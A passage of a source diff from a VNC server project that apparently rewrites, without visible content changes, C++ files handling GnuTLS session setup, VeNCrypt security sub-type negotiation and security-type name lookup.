Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright 2012-2025 Pierre Ossman for Cendio AB + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#ifndef HAVE_GNUTLS +#error "This source should not be compiled without HAVE_GNUTLS defined" +#endif + +#include + +#include + +#include +#include +#include + +#include +#include + +#include + +#if defined (SSECURITYTLS__USE_DEPRECATED_DH) +/* FFDHE (RFC-7919) 2048-bit parameters, PEM-encoded */ +static unsigned char ffdhe2048[] = + "-----BEGIN DH PARAMETERS-----\n" + "MIIBDAKCAQEA//////////+t+FRYortKmq/cViAnPTzx2LnFg84tNpWp4TZBFGQz\n" + "+8yTnc4kmz75fS/jY2MMddj2gbICrsRhetPfHtXV/WVhJDP1H18GbtCFY2VVPe0a\n" + "87VXE15/V8k1mE8McODmi3fipona8+/och3xWKE2rec1MKzKT0g6eXq8CrGCsyT7\n" + "YdEIqUuyyOP7uWrat2DX9GgdT0Kj3jlN9K5W7edjcrsZCwenyO4KbXCeAvzhzffi\n" + "7MA0BM0oNC9hkXL+nOmFg/+OTxIy7vKBg8P+OxtMb61zO7X8vC7CIAXFjvGDfRaD\n" + "ssbzSibBsu/6iGtCOGEoXJf//////////wIBAgICAOE=\n" + "-----END DH PARAMETERS-----\n"; + +static const gnutls_datum_t ffdhe_pkcs3_param = { + ffdhe2048, + sizeof(ffdhe2048) +}; +#endif + +using namespace rfb; + +core::StringParameter SSecurityTLS::X509_CertFile +("X509Cert", "Path to the X509 certificate in PEM format", ""); + +core::StringParameter SSecurityTLS::X509_KeyFile +("X509Key", "Path to the key of the X509 certificate in PEM format", ""); + +static core::LogWriter vlog("TLS"); + +SSecurityTLS::SSecurityTLS(SConnection* sc_, bool _anon) + : SSecurity(sc_), session(nullptr), anon_cred(nullptr), + cert_cred(nullptr), anon(_anon), tlssock(nullptr), + rawis(nullptr), rawos(nullptr) +{ + int ret; + +#if defined (SSECURITYTLS__USE_DEPRECATED_DH) + dh_params = nullptr; +#endif + + ret = gnutls_global_init(); + if (ret != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_global_init()", ret); +} + +void SSecurityTLS::shutdown() +{ + if (tlssock) + tlssock->shutdown(); + +#if defined (SSECURITYTLS__USE_DEPRECATED_DH) + if (dh_params) { + gnutls_dh_params_deinit(dh_params); + dh_params = nullptr; + } +#endif + + if (anon_cred) { + gnutls_anon_free_server_credentials(anon_cred); + anon_cred = nullptr; + } + + if (cert_cred) { + gnutls_certificate_free_credentials(cert_cred); + cert_cred = nullptr; + } + + if (rawis && rawos) { + sc->setStreams(rawis, rawos); + rawis = nullptr; + rawos = nullptr; + } + + if (tlssock) { + delete tlssock; + tlssock = nullptr; + } + + if (session) { + gnutls_deinit(session); + session = nullptr; + } +} + + +SSecurityTLS::~SSecurityTLS() +{ + shutdown(); + + gnutls_global_deinit(); +} + +bool SSecurityTLS::processMsg() +{ + int err; + + vlog.debug("Process security message (session %p)", session); + + if (!session) { + rdr::InStream* is = sc->getInStream(); + rdr::OutStream* os = sc->getOutStream(); + + err = gnutls_init(&session, GNUTLS_SERVER); + if (err != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_init()", err); + + err = gnutls_set_default_priority(session); + if (err != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_set_default_priority()", err); + + try { + setParams(); + } + catch(...) { + os->writeU8(0); + throw; + } + + os->writeU8(1); + os->flush(); + + tlssock = new rdr::TLSSocket(is, os, session); + + rawis = is; + rawos = os; + } + + try { + if (!tlssock->handshake()) + return false; + } catch (std::exception&) { + shutdown(); + throw; + } + + vlog.debug("TLS handshake completed with %s", + gnutls_session_get_desc(session)); + + sc->setStreams(&tlssock->inStream(), &tlssock->outStream()); + + return true; +} + +void SSecurityTLS::setParams() +{ + static const char kx_anon_priority[] = "+ANON-ECDH:+ANON-DH"; + + int ret; + + // Custom priority string specified? + if (strcmp(Security::GnuTLSPriority, "") != 0) { + std::string prio; + const char *err; + + prio = (const char*)Security::GnuTLSPriority; + if (anon) { + prio += ":"; + prio += kx_anon_priority; + } + + ret = gnutls_priority_set_direct(session, prio.c_str(), &err); + if (ret != GNUTLS_E_SUCCESS) { + if (ret == GNUTLS_E_INVALID_REQUEST) + vlog.error("GnuTLS priority syntax error at: %s", err); + throw rdr::tls_error("gnutls_set_priority_direct()", ret); + } + } else if (anon) { + const char *err; + +#if GNUTLS_VERSION_NUMBER >= 0x030603 + ret = gnutls_set_default_priority_append(session, kx_anon_priority, &err, 0); + if (ret != GNUTLS_E_SUCCESS) { + if (ret == GNUTLS_E_INVALID_REQUEST) + vlog.error("GnuTLS priority syntax error at: %s", err); + throw rdr::tls_error("gnutls_set_default_priority_append()", ret); + } +#else + std::string prio; + + // We don't know what the system default priority is, so we guess + // it's what upstream GnuTLS has + prio = "NORMAL"; + prio += ":"; + prio += kx_anon_priority; + + ret = gnutls_priority_set_direct(session, prio.c_str(), &err); + if (ret != GNUTLS_E_SUCCESS) { + if (ret == GNUTLS_E_INVALID_REQUEST) + vlog.error("GnuTLS priority syntax error at: %s", err); + throw rdr::tls_error("gnutls_set_priority_direct()", ret); + } +#endif + } + +#if defined (SSECURITYTLS__USE_DEPRECATED_DH) + ret = gnutls_dh_params_init(&dh_params); + if (ret != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_dh_params_init()", ret); + + ret = gnutls_dh_params_import_pkcs3(dh_params, &ffdhe_pkcs3_param, + GNUTLS_X509_FMT_PEM); + if (ret != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_dh_params_import_pkcs3()", ret); +#endif + + if (anon) { + ret = gnutls_anon_allocate_server_credentials(&anon_cred); + if (ret != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_anon_allocate_server_credentials()", ret); + +#if defined (SSECURITYTLS__USE_DEPRECATED_DH) + gnutls_anon_set_server_dh_params(anon_cred, dh_params); +#endif + + ret = gnutls_credentials_set(session, GNUTLS_CRD_ANON, anon_cred); + if (ret != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_credentials_set()", ret); + + vlog.debug("Anonymous session has been set"); + + } else { + ret = gnutls_certificate_allocate_credentials(&cert_cred); + if (ret != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_certificate_allocate_credentials()", ret); + +#if defined (SSECURITYTLS__USE_DEPRECATED_DH) + gnutls_certificate_set_dh_params(cert_cred, dh_params); +#endif + + ret = gnutls_certificate_set_x509_key_file(cert_cred, X509_CertFile, + X509_KeyFile, + GNUTLS_X509_FMT_PEM); + if (ret != GNUTLS_E_SUCCESS) + throw rdr::tls_error("Failed to load certificate and key", ret); + + ret = gnutls_credentials_set(session, GNUTLS_CRD_CERTIFICATE, cert_cred); + if (ret != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_credentials_set()", ret); + + vlog.debug("X509 session has been set"); + + } + +} diff --git a/T2SRFB/common/rfb/SSecurityTLS.h b/T2SRFB/common/rfb/SSecurityTLS.h index af5ee91..7715f3c 100644 --- a/T2SRFB/common/rfb/SSecurityTLS.h +++ b/T2SRFB/common/rfb/SSecurityTLS.h @@ -1,83 +1,83 @@ -/* - * Copyright (C) 2004 Red Hat Inc. - * Copyright (C) 2005 Martin Koegler - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright 2012-2025 Pierre Ossman for Cendio AB - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifndef __S_SECURITY_TLS_H__ -#define __S_SECURITY_TLS_H__ - -#ifndef HAVE_GNUTLS -#error "This header should not be included without HAVE_GNUTLS defined" -#endif - -#include -#include - -#include - -/* In GnuTLS 3.6.0 DH parameter generation was deprecated. RFC7919 is used instead. - * GnuTLS before 3.6.0 doesn't know about RFC7919 so we will have to import it. - */ -#if GNUTLS_VERSION_NUMBER < 0x030600 -#define SSECURITYTLS__USE_DEPRECATED_DH -#endif - -namespace rdr { - class InStream; - class OutStream; - class TLSSocket; -} - -namespace rfb { - - class SSecurityTLS : public SSecurity { - public: - SSecurityTLS(SConnection* sc, bool _anon); - virtual ~SSecurityTLS(); - bool processMsg() override; - const char* getUserName() const override {return nullptr;} - int getType() const override { return anon ? secTypeTLSNone : secTypeX509None;} - - static core::StringParameter X509_CertFile; - static core::StringParameter X509_KeyFile; - - protected: - void shutdown(); - void setParams(); - - private: - gnutls_session_t session; -#if defined (SSECURITYTLS__USE_DEPRECATED_DH) - gnutls_dh_params_t dh_params; -#endif - gnutls_anon_server_credentials_t anon_cred; - gnutls_certificate_credentials_t cert_cred; - - bool anon; - - rdr::TLSSocket* tlssock; - - rdr::InStream* rawis; - rdr::OutStream* rawos; - }; - -} - -#endif +/* + * Copyright (C) 2004 Red Hat Inc. + * Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright 2012-2025 Pierre Ossman for Cendio AB + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef __S_SECURITY_TLS_H__ +#define __S_SECURITY_TLS_H__ + +#ifndef HAVE_GNUTLS +#error "This header should not be included without HAVE_GNUTLS defined" +#endif + +#include +#include + +#include + +/* In GnuTLS 3.6.0 DH parameter generation was deprecated. RFC7919 is used instead. + * GnuTLS before 3.6.0 doesn't know about RFC7919 so we will have to import it. + */ +#if GNUTLS_VERSION_NUMBER < 0x030600 +#define SSECURITYTLS__USE_DEPRECATED_DH +#endif + +namespace rdr { + class InStream; + class OutStream; + class TLSSocket; +} + +namespace rfb { + + class SSecurityTLS : public SSecurity { + public: + SSecurityTLS(SConnection* sc, bool _anon); + virtual ~SSecurityTLS(); + bool processMsg() override; + const char* getUserName() const override {return nullptr;} + int getType() const override { return anon ? secTypeTLSNone : secTypeX509None;} + + static core::StringParameter X509_CertFile; + static core::StringParameter X509_KeyFile; + + protected: + void shutdown(); + void setParams(); + + private: + gnutls_session_t session; +#if defined (SSECURITYTLS__USE_DEPRECATED_DH) + gnutls_dh_params_t dh_params; +#endif + gnutls_anon_server_credentials_t anon_cred; + gnutls_certificate_credentials_t cert_cred; + + bool anon; + + rdr::TLSSocket* tlssock; + + rdr::InStream* rawis; + rdr::OutStream* rawos; + }; + +} + +#endif diff --git a/T2SRFB/common/rfb/SSecurityVeNCrypt.cxx b/T2SRFB/common/rfb/SSecurityVeNCrypt.cxx index e763cb3..c5d8d6f 100644 --- a/T2SRFB/common/rfb/SSecurityVeNCrypt.cxx +++ b/T2SRFB/common/rfb/SSecurityVeNCrypt.cxx @@ -1,192 +1,192 @@ -/* - * Copyright (C) 2005-2006 Martin Koegler - * Copyright (C) 2006 OCCAM Financial Technology - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ -/* - * SSecurityVeNCrypt - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include - -#include -#include -#include -#include -#include - -#include -#include - -using namespace rfb; - -static core::LogWriter vlog("SVeNCrypt"); - -SSecurityVeNCrypt::SSecurityVeNCrypt(SConnection* sc_, - SecurityServer *sec) - : SSecurity(sc_), security(sec) -{ - ssecurity = nullptr; - haveSentVersion = false; - haveRecvdMajorVersion = false; - haveRecvdMinorVersion = false; - majorVersion = 0; - minorVersion = 0; - haveSentTypes = false; - haveChosenType = false; - chosenType = secTypeVeNCrypt; - numTypes = 0; - subTypes = nullptr; -} - -SSecurityVeNCrypt::~SSecurityVeNCrypt() -{ - delete ssecurity; - delete [] subTypes; -} - -bool SSecurityVeNCrypt::processMsg() -{ - rdr::InStream* is = sc->getInStream(); - rdr::OutStream* os = sc->getOutStream(); - uint8_t i; - - /* VeNCrypt initialization */ - - /* Send the highest version we can support */ - if (!haveSentVersion) { - os->writeU8(0); - os->writeU8(2); - haveSentVersion = true; - os->flush(); - } - - /* Receive back highest version that client can support (up to and including ours) */ - if (!haveRecvdMajorVersion) { - if (!is->hasData(1)) - return false; - - majorVersion = is->readU8(); - haveRecvdMajorVersion = true; - } - - if (!haveRecvdMinorVersion) { - if (!is->hasData(1)) - return false; - - minorVersion = is->readU8(); - haveRecvdMinorVersion = true; - - /* WORD value with major version in upper 8 bits and minor version in lower 8 bits */ - uint16_t Version = (((uint16_t)majorVersion) << 8) | ((uint16_t)minorVersion); - - switch (Version) { - case 0x0000: /* 0.0 - The client cannot support us! */ - case 0x0001: /* 0.1 Legacy VeNCrypt, not supported */ - os->writeU8(0xFF); /* This is not OK */ - os->flush(); - throw protocol_error("The client cannot support the server's " - "VeNCrypt version"); - - case 0x0002: /* 0.2 */ - os->writeU8(0); /* OK */ - break; - - default: - os->writeU8(0xFF); /* Not OK */ - os->flush(); - throw protocol_error("The client returned an unsupported VeNCrypt version"); - } - } - - /* - * send number of supported VeNCrypt authentication types (uint8_t) - * followed by authentication types (uint32_t:s) - */ - if (!haveSentTypes) { - std::list listSubTypes; - - listSubTypes = security->GetEnabledExtSecTypes(); - - numTypes = listSubTypes.size(); - subTypes = new uint32_t[numTypes]; - - for (i = 0; i < numTypes; i++) { - subTypes[i] = listSubTypes.front(); - listSubTypes.pop_front(); - } - - if (numTypes) { - os->writeU8(numTypes); - for (i = 0; i < numTypes; i++) - os->writeU32(subTypes[i]); - - os->flush(); - haveSentTypes = true; - } else - throw protocol_error("There are no VeNCrypt sub-types to send to the client"); - } - - /* get type back from client (must be one of the ones we sent) */ - if (!haveChosenType) { - if (!is->hasData(4)) - return false; - - chosenType = is->readU32(); - - for (i = 0; i < numTypes; i++) { - if (chosenType == subTypes[i]) { - haveChosenType = true; - break; - } - } - - if (!haveChosenType) - chosenType = secTypeInvalid; - - vlog.info("Client requests security type %s (%d)", secTypeName(chosenType), - chosenType); - - /* Set up the stack according to the chosen type */ - if (chosenType == secTypeInvalid || chosenType == secTypeVeNCrypt) - throw protocol_error("No valid VeNCrypt sub-type"); - - ssecurity = security->GetSSecurity(sc, chosenType); - } - - /* continue processing the messages */ - return ssecurity->processMsg(); -} - -const char* SSecurityVeNCrypt::getUserName() const -{ - if (ssecurity == nullptr) - return nullptr; - return ssecurity->getUserName(); -} - -AccessRights SSecurityVeNCrypt::getAccessRights() const -{ - if (ssecurity == nullptr) - return SSecurity::getAccessRights(); - return ssecurity->getAccessRights(); -} +/* + * Copyright (C) 2005-2006 Martin Koegler + * Copyright (C) 2006 OCCAM Financial Technology + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ +/* + * SSecurityVeNCrypt + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include + +#include +#include +#include +#include +#include + +#include +#include + +using namespace rfb; + +static core::LogWriter vlog("SVeNCrypt"); + +SSecurityVeNCrypt::SSecurityVeNCrypt(SConnection* sc_, + SecurityServer *sec) + : SSecurity(sc_), security(sec) +{ + ssecurity = nullptr; + haveSentVersion = false; + haveRecvdMajorVersion = false; + haveRecvdMinorVersion = false; + majorVersion = 0; + minorVersion = 0; + haveSentTypes = false; + haveChosenType = false; + chosenType = secTypeVeNCrypt; + numTypes = 0; + subTypes = nullptr; +} + +SSecurityVeNCrypt::~SSecurityVeNCrypt() +{ + delete ssecurity; + delete [] subTypes; +} + +bool SSecurityVeNCrypt::processMsg() +{ + rdr::InStream* is = sc->getInStream(); + rdr::OutStream* os = sc->getOutStream(); + uint8_t i; + + /* VeNCrypt initialization */ + + /* Send the highest version we can support */ + if (!haveSentVersion) { + os->writeU8(0); + os->writeU8(2); + haveSentVersion = true; + os->flush(); + } + + /* Receive back highest version that client can support (up to and including ours) */ + if (!haveRecvdMajorVersion) { + if (!is->hasData(1)) + return false; + + majorVersion = is->readU8(); + haveRecvdMajorVersion = true; + } + + if (!haveRecvdMinorVersion) { + if (!is->hasData(1)) + return false; + + minorVersion = is->readU8(); + haveRecvdMinorVersion = true; + + /* WORD value with major version in upper 8 bits and minor version in lower 8 bits */ + uint16_t Version = (((uint16_t)majorVersion) << 8) | ((uint16_t)minorVersion); + + switch (Version) { + case 0x0000: /* 0.0 - The client cannot support us! */ + case 0x0001: /* 0.1 Legacy VeNCrypt, not supported */ + os->writeU8(0xFF); /* This is not OK */ + os->flush(); + throw protocol_error("The client cannot support the server's " + "VeNCrypt version"); + + case 0x0002: /* 0.2 */ + os->writeU8(0); /* OK */ + break; + + default: + os->writeU8(0xFF); /* Not OK */ + os->flush(); + throw protocol_error("The client returned an unsupported VeNCrypt version"); + } + } + + /* + * send number of supported VeNCrypt authentication types (uint8_t) + * followed by authentication types (uint32_t:s) + */ + if (!haveSentTypes) { + std::list listSubTypes; + + listSubTypes = security->GetEnabledExtSecTypes(); + + numTypes = listSubTypes.size(); + subTypes = new uint32_t[numTypes]; + + for (i = 0; i < numTypes; i++) { + subTypes[i] = listSubTypes.front(); + listSubTypes.pop_front(); + } + + if (numTypes) { + os->writeU8(numTypes); + for (i = 0; i < numTypes; i++) + os->writeU32(subTypes[i]); + + os->flush(); + haveSentTypes = true; + } else + throw protocol_error("There are no VeNCrypt sub-types to send to the client"); + } + + /* get type back from client (must be one of the ones we sent) */ + if (!haveChosenType) { + if (!is->hasData(4)) + return false; + + chosenType = is->readU32(); + + for (i = 0; i < numTypes; i++) { + if (chosenType == subTypes[i]) { + haveChosenType = true; + break; + } + } + + if (!haveChosenType) + chosenType = secTypeInvalid; + + vlog.info("Client requests security type %s (%d)", secTypeName(chosenType), + chosenType); + + /* Set up the stack according to the chosen type */ + if (chosenType == secTypeInvalid || chosenType == secTypeVeNCrypt) + throw protocol_error("No valid VeNCrypt sub-type"); + + ssecurity = security->GetSSecurity(sc, chosenType); + } + + /* continue processing the messages */ + return ssecurity->processMsg(); +} + +const char* SSecurityVeNCrypt::getUserName() const +{ + if (ssecurity == nullptr) + return nullptr; + return ssecurity->getUserName(); +} + +AccessRights SSecurityVeNCrypt::getAccessRights() const +{ + if (ssecurity == nullptr) + return SSecurity::getAccessRights(); + return ssecurity->getAccessRights(); +} diff --git a/T2SRFB/common/rfb/SSecurityVeNCrypt.h b/T2SRFB/common/rfb/SSecurityVeNCrypt.h index 10aa02e..4abbc2a 100644 --- a/T2SRFB/common/rfb/SSecurityVeNCrypt.h +++ b/T2SRFB/common/rfb/SSecurityVeNCrypt.h @@ -1,53 +1,53 @@ -/* - * Copyright (C) 2005-2006 Martin Koegler - * Copyright (C) 2006 OCCAM Financial Technology - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ -// -// SSecurityVeNCrypt -// - -#ifndef __SSECURITYVENCRYPT_H__ -#define __SSECURITYVENCRYPT_H__ - -#include - -namespace rfb { - - class SConnection; - class SecurityServer; - - class SSecurityVeNCrypt : public SSecurity { - public: - SSecurityVeNCrypt(SConnection* sc, SecurityServer *sec); - ~SSecurityVeNCrypt(); - bool processMsg() override; - int getType() const override { return chosenType; } - const char* getUserName() const override; - AccessRights getAccessRights() const override; - - protected: - SSecurity *ssecurity; - SecurityServer *security; - bool haveSentVersion, haveRecvdMajorVersion, haveRecvdMinorVersion; - bool haveSentTypes, haveChosenType; - uint8_t majorVersion, minorVersion, numTypes; - uint32_t *subTypes, chosenType; - }; -} -#endif +/* + * Copyright (C) 2005-2006 Martin Koegler + * Copyright (C) 2006 OCCAM Financial Technology + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ +// +// SSecurityVeNCrypt +// + +#ifndef __SSECURITYVENCRYPT_H__ +#define __SSECURITYVENCRYPT_H__ + +#include + +namespace rfb { + + class SConnection; + class SecurityServer; + + class SSecurityVeNCrypt : public SSecurity { + public: + SSecurityVeNCrypt(SConnection* sc, SecurityServer *sec); + ~SSecurityVeNCrypt(); + bool processMsg() override; + int getType() const override { return chosenType; } + const char* getUserName() const override; + AccessRights getAccessRights() const override; + + protected: + SSecurity *ssecurity; + SecurityServer *security; + bool haveSentVersion, haveRecvdMajorVersion, haveRecvdMinorVersion; + bool haveSentTypes, haveChosenType; + uint8_t majorVersion, minorVersion, numTypes; + uint32_t *subTypes, chosenType; + }; +} +#endif diff --git a/T2SRFB/common/rfb/Security.cxx b/T2SRFB/common/rfb/Security.cxx index 57b9be2..36aa9dd 100644 --- a/T2SRFB/common/rfb/Security.cxx +++ b/T2SRFB/common/rfb/Security.cxx @@ -1,190 +1,190 @@ -/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. - * Copyright (C) 2010 T2SRFBVNC Team - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include - -#include -#include - -#include -#include - -#include - -using namespace rfb; - -static core::LogWriter vlog("Security"); - -#ifdef HAVE_GNUTLS -core::StringParameter Security::GnuTLSPriority("GnuTLSPriority", - "GnuTLS priority string that controls the TLS session’s handshake algorithms", - ""); -#endif - -Security::Security() -{ -} - -Security::Security(core::EnumListParameter &secTypes) -{ - for (core::EnumListEntry type : secTypes) { - uint32_t typeNum = secTypeNum(type.getValueStr().c_str()); - // Should have been filtered by EnumListParameter, but let's have - // a safety net - if (typeNum == secTypeInvalid) - throw std::logic_error("Unknown security type"); - enabledSecTypes.push_back(typeNum); - } -} - -const std::list Security::GetEnabledSecTypes(void) -{ - std::list result; - - /* Partial workaround for Vino's stupid behaviour. It doesn't allow - * the basic authentication types as part of the VeNCrypt handshake, - * making it impossible for a client to do opportunistic encryption. - * At least make it possible to connect when encryption is explicitly - * disabled. */ - for (uint32_t type : enabledSecTypes) { - if (type >= 0x100) { - result.push_back(secTypeVeNCrypt); - break; - } - } - - for (uint32_t type : enabledSecTypes) - if (type < 0x100) - result.push_back(type); - - return result; -} - -const std::list Security::GetEnabledExtSecTypes(void) -{ - std::list result; - - for (uint32_t type : enabledSecTypes) - if (type != secTypeVeNCrypt) /* Do not include VeNCrypt type to avoid loops */ - result.push_back(type); - - return result; -} - -void Security::EnableSecType(uint32_t secType) -{ - if (std::find(enabledSecTypes.begin(), enabledSecTypes.end(), - secType) != enabledSecTypes.end()) - return; - - enabledSecTypes.push_back(secType); -} - -bool Security::IsSupported(uint32_t secType) -{ - if (std::find(enabledSecTypes.begin(), enabledSecTypes.end(), - secType) != enabledSecTypes.end()) - return true; - if (secType == secTypeVeNCrypt) - return true; - - return false; -} - -char *Security::ToString(void) -{ - static char out[128]; /* Should be enough */ - bool firstpass = true; - const char *name; - - memset(out, 0, sizeof(out)); - - for (uint32_t type : enabledSecTypes) { - name = secTypeName(type); - if (name[0] == '[') /* Unknown security type */ - continue; - - if (!firstpass) - strncat(out, ",", sizeof(out) - 1); - else - firstpass = false; - strncat(out, name, sizeof(out) - 1); - } - - return out; -} - -uint32_t rfb::secTypeNum(const char* name) -{ - if (strcasecmp(name, "None") == 0) return secTypeNone; - if (strcasecmp(name, "VncAuth") == 0) return secTypeVncAuth; - if (strcasecmp(name, "Tight") == 0) return secTypeTight; - if (strcasecmp(name, "RA2") == 0) return secTypeRA2; - if (strcasecmp(name, "RA2ne") == 0) return secTypeRA2ne; - if (strcasecmp(name, "RA2_256") == 0) return secTypeRA256; - if (strcasecmp(name, "RA2ne_256") == 0) return secTypeRAne256; - if (strcasecmp(name, "SSPI") == 0) return secTypeSSPI; - if (strcasecmp(name, "SSPIne") == 0) return secTypeSSPIne; - if (strcasecmp(name, "VeNCrypt") == 0) return secTypeVeNCrypt; - if (strcasecmp(name, "DH") == 0) return secTypeDH; - if (strcasecmp(name, "MSLogonII") == 0) return secTypeMSLogonII; - - /* VeNCrypt subtypes */ - if (strcasecmp(name, "Plain") == 0) return secTypePlain; - if (strcasecmp(name, "TLSNone") == 0) return secTypeTLSNone; - if (strcasecmp(name, "TLSVnc") == 0) return secTypeTLSVnc; - if (strcasecmp(name, "TLSPlain") == 0) return secTypeTLSPlain; - if (strcasecmp(name, "X509None") == 0) return secTypeX509None; - if (strcasecmp(name, "X509Vnc") == 0) return secTypeX509Vnc; - if (strcasecmp(name, "X509Plain") == 0) return secTypeX509Plain; - - return secTypeInvalid; -} - -const char* rfb::secTypeName(uint32_t num) -{ - switch (num) { - case secTypeNone: return "None"; - case secTypeVncAuth: return "VncAuth"; - case secTypeTight: return "Tight"; - case secTypeRA2: return "RA2"; - case secTypeRA2ne: return "RA2ne"; - case secTypeRA256: return "RA2_256"; - case secTypeRAne256: return "RA2ne_256"; - case secTypeSSPI: return "SSPI"; - case secTypeSSPIne: return "SSPIne"; - case secTypeVeNCrypt: return "VeNCrypt"; - case secTypeDH: return "DH"; - case secTypeMSLogonII: return "MSLogonII"; - - /* VeNCrypt subtypes */ - case secTypePlain: return "Plain"; - case secTypeTLSNone: return "TLSNone"; - case secTypeTLSVnc: return "TLSVnc"; - case secTypeTLSPlain: return "TLSPlain"; - case secTypeX509None: return "X509None"; - case secTypeX509Vnc: return "X509Vnc"; - case secTypeX509Plain: return "X509Plain"; - default: return "[unknown secType]"; - } -} +/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. + * Copyright (C) 2010 T2SRFBVNC Team + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include + +#include +#include + +#include +#include + +#include + +using namespace rfb; + +static core::LogWriter vlog("Security"); + +#ifdef HAVE_GNUTLS +core::StringParameter Security::GnuTLSPriority("GnuTLSPriority", + "GnuTLS priority string that controls the TLS session’s handshake algorithms", + ""); +#endif + +Security::Security() +{ +} + +Security::Security(core::EnumListParameter &secTypes) +{ + for (core::EnumListEntry type : secTypes) { + uint32_t typeNum = secTypeNum(type.getValueStr().c_str()); + // Should have been filtered by EnumListParameter, but let's have + // a safety net + if (typeNum == secTypeInvalid) + throw std::logic_error("Unknown security type"); 